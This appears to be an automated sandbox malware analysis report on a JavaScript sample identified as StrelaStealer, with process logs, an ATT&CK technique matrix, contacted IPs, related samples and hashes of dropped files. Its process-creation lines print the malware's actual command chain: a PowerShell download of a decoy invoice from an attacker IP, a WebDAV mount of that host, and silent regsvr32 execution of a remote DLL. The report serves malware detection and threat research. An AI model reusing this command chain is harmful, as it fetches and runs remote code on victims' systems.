Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23119425729321.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22931850270221075.js	7%	Virustotal		Browse
22931850270221075.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.2058888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/paceM	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/X	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/X	net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1311831559.0000024FB31C0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2549703324.0000024FB3400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.2058888/	net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000003.1321199511.000001B67230D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/paceM	net.exe, 0000000C.00000002.1326063993.000001B6722E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589018
Start date and time:	2025-01-11 08:29:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22931850270221075.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 50.16.47.176, 34.237.241.83, 54.224.241.105, 18.213.11.84, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 23.47.168.24, 4.245.163.56, 52.149.20.212
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:30:17	API Interceptor	20x Sleep call for process: powershell.exe modified
02:30:21	API Interceptor	1x Sleep call for process: net.exe modified
02:30:21	API Interceptor	2x Sleep call for process: svchost.exe modified
02:30:28	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067054549061426
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqz:2JIB/wUKUKQncEmYRTwh0/
MD5:	7D6C0FA0AE4D11E0CA93769F4E729CB8
SHA1:	BD508C7D0E5C3E87E6EC830780C2E92817A4A1D0
SHA-256:	91EBCFB7EBD40CEAAA12421B1F79E47EF7924912FB368EAE621C0B061B5D8860
SHA-512:	F5B5BF00FD13D19F488E9E35F8DC9BDA443FAC7DF2362E24183CAD3466274A482F3CFA72D24789707F1355C5757EBD93247AD2EA086350E2662A4672DC4F676E
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x65555c64, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899821173064517
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:DazaPvgurTd42UgSii
MD5:	BC456E19ABBFFBEBFD971E4675399B98
SHA1:	9729E49A14CB7B744F24899B4F05B17A903258A9
SHA-256:	E3DABDA1FF066A8E6AEB1F4D18130BE048D7B119B5FB6F7B6B95931EE3015D21
SHA-512:	2B76F1EBF87FFE7E71C7BEFA0C7DA23BE0F548B0164B2CB2CBB9E62BE0ECED2316E631A627A07F734FE956584C15DACAF272484171AEA02FF6EBD06490265730
Malicious:	false
Preview:	eU\d... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...........................................}..................Yy\|......}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08207810025232135
Encrypted:	false
SSDEEP:	3:3W/EYeHmuqxig1t/57Dek3JNZlOE//AllEqW3l/TjzzQ/t:3GEzHApHR3tLl/XAmd8/
MD5:	AFFC669B74CF1B190BC8404670B3ED2A
SHA1:	C021E0C3E6942F3AB216EE72BB44033AC33ADE28
SHA-256:	BBF71FEA7FD4B0F143BD0BC4F79C2BC10B1C1A43E380CEBC051EE081ACA7E39B
SHA-512:	E5357B13126B74206E019DDBCAB7E2119CE606B4B9ECB5CBE31EF03239D66447540B662F91B55E62B432935D6F984A6500691F5BD3AB49853272BFC0BFE27D25
Malicious:	false
Preview:	3_C......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59................Yy\|......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.092577394928939
Encrypted:	false
SSDEEP:	6:iO7KupM+q2PcNwi2nKuAl9OmbnIFUt5KcA/ZmwHKcASMVkwOcNwi2nKuAl9Ombjd:7uui+vLZHAahFUtUx//qx/V54ZHAaSJ
MD5:	F2CDFF542EEBB310ECF0D28060ED27EF
SHA1:	35EE4152B799B0DBA9778AB98A317755C4C6246E
SHA-256:	51A0CC7AD94D306E1AA0D490018690C2699C0EF991939B521A2F0FD5E9D7624B
SHA-512:	E1CCD2EF194F885EC350F2FF12833C52C9E2BC5B3322ECF215F57CE3D3E8D8643EE35EE32128D57FD3DAF1CEFF95835B715F19C234380397EF03455B3321F625
Malicious:	false
Preview:	2025/01/11-02:30:20.915 1e1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:30:20.920 1e1c Recovering log #3.2025/01/11-02:30:20.920 1e1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.092577394928939
Encrypted:	false
SSDEEP:	6:iO7KupM+q2PcNwi2nKuAl9OmbnIFUt5KcA/ZmwHKcASMVkwOcNwi2nKuAl9Ombjd:7uui+vLZHAahFUtUx//qx/V54ZHAaSJ
MD5:	F2CDFF542EEBB310ECF0D28060ED27EF
SHA1:	35EE4152B799B0DBA9778AB98A317755C4C6246E
SHA-256:	51A0CC7AD94D306E1AA0D490018690C2699C0EF991939B521A2F0FD5E9D7624B
SHA-512:	E1CCD2EF194F885EC350F2FF12833C52C9E2BC5B3322ECF215F57CE3D3E8D8643EE35EE32128D57FD3DAF1CEFF95835B715F19C234380397EF03455B3321F625
Malicious:	false
Preview:	2025/01/11-02:30:20.915 1e1c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:30:20.920 1e1c Recovering log #3.2025/01/11-02:30:20.920 1e1c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.074553547293291
Encrypted:	false
SSDEEP:	6:iO7a4q2PcNwi2nKuAl9Ombzo2jMGIFUt5VlJZmwHIhDkwOcNwi2nKuAl9Ombzo23:7lvLZHAa8uFUtjf/oB54ZHAa8RJ
MD5:	2087DBE2135C6EF58606BE964D667798
SHA1:	3C86E9FCFE968ACCCD6CBB4E0B1984D4FECFF2A4
SHA-256:	9124F970446A088A7DDF8EBF5CCA245D75A08EA1744C98A87B4B85B5BE257247
SHA-512:	0B797CBF42982D368400CD6DF53AFBC0533165891FB3936B9A9D81266EF0F8A507DCBFFDDC65C42C7245560E5A7BC0E5531FCB9C899253F8D13FF09ADEB76B8E
Malicious:	false
Preview:	2025/01/11-02:30:21.005 1f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:30:21.006 1f00 Recovering log #3.2025/01/11-02:30:21.007 1f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.074553547293291
Encrypted:	false
SSDEEP:	6:iO7a4q2PcNwi2nKuAl9Ombzo2jMGIFUt5VlJZmwHIhDkwOcNwi2nKuAl9Ombzo23:7lvLZHAa8uFUtjf/oB54ZHAa8RJ
MD5:	2087DBE2135C6EF58606BE964D667798
SHA1:	3C86E9FCFE968ACCCD6CBB4E0B1984D4FECFF2A4
SHA-256:	9124F970446A088A7DDF8EBF5CCA245D75A08EA1744C98A87B4B85B5BE257247
SHA-512:	0B797CBF42982D368400CD6DF53AFBC0533165891FB3936B9A9D81266EF0F8A507DCBFFDDC65C42C7245560E5A7BC0E5531FCB9C899253F8D13FF09ADEB76B8E
Malicious:	false
Preview:	2025/01/11-02:30:21.005 1f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:30:21.006 1f00 Recovering log #3.2025/01/11-02:30:21.007 1f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\33ab248e-d376-42bc-95e3-8bf21e846c76.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.96719361479114
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhqXhsBdOg2HTcaq3QYiubSpDyP7E4T3y:Y2sRds2sydMHq3QYhbSpDa7nby
MD5:	B5AC1E317897BD532E960C27AF213300
SHA1:	51CFAB76CCF82A08957917424DD644007CC2BE0F
SHA-256:	872B1D1CDBD55EA0DFAD42D1211A4EFB12FF4378D74F403DD1F3779AF3240AA1
SHA-512:	2B06A698213AD4F357940A1F6CE2C77BE00199E42C4B3D9F43DECE244AC938DD11FD9539E3474EA737E06B6784D0868B7DF298E08828B879B1B9744C12139DDC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140632730516","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":112472},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3f268f01-238e-4128-bfc8-216f469fa881.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4a86fa.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233424044939312
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPPu/pXYD6:CwNw1GHqPySfkcigoO3h28ytPPuxXq6
MD5:	212777F096E31760883751301EC70A8C
SHA1:	DED7C360EA91B9A731D61B72C3248D4A56D2CB8A
SHA-256:	1E5DB599BEE4E997C308D3CE6C68A0D1CAD3FFCFE96972B3E3835DB4F1CD39AC
SHA-512:	678C4F8A51CF9AB7E3148EA6B4BED35B1B70DA4AAAE611CD3D349C52FD3786A75806705378D4BE56E9DA8C64AA35522AB1522AE4BCD3C22C55A1FBA02967FCA6
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1370596669332915
Encrypted:	false
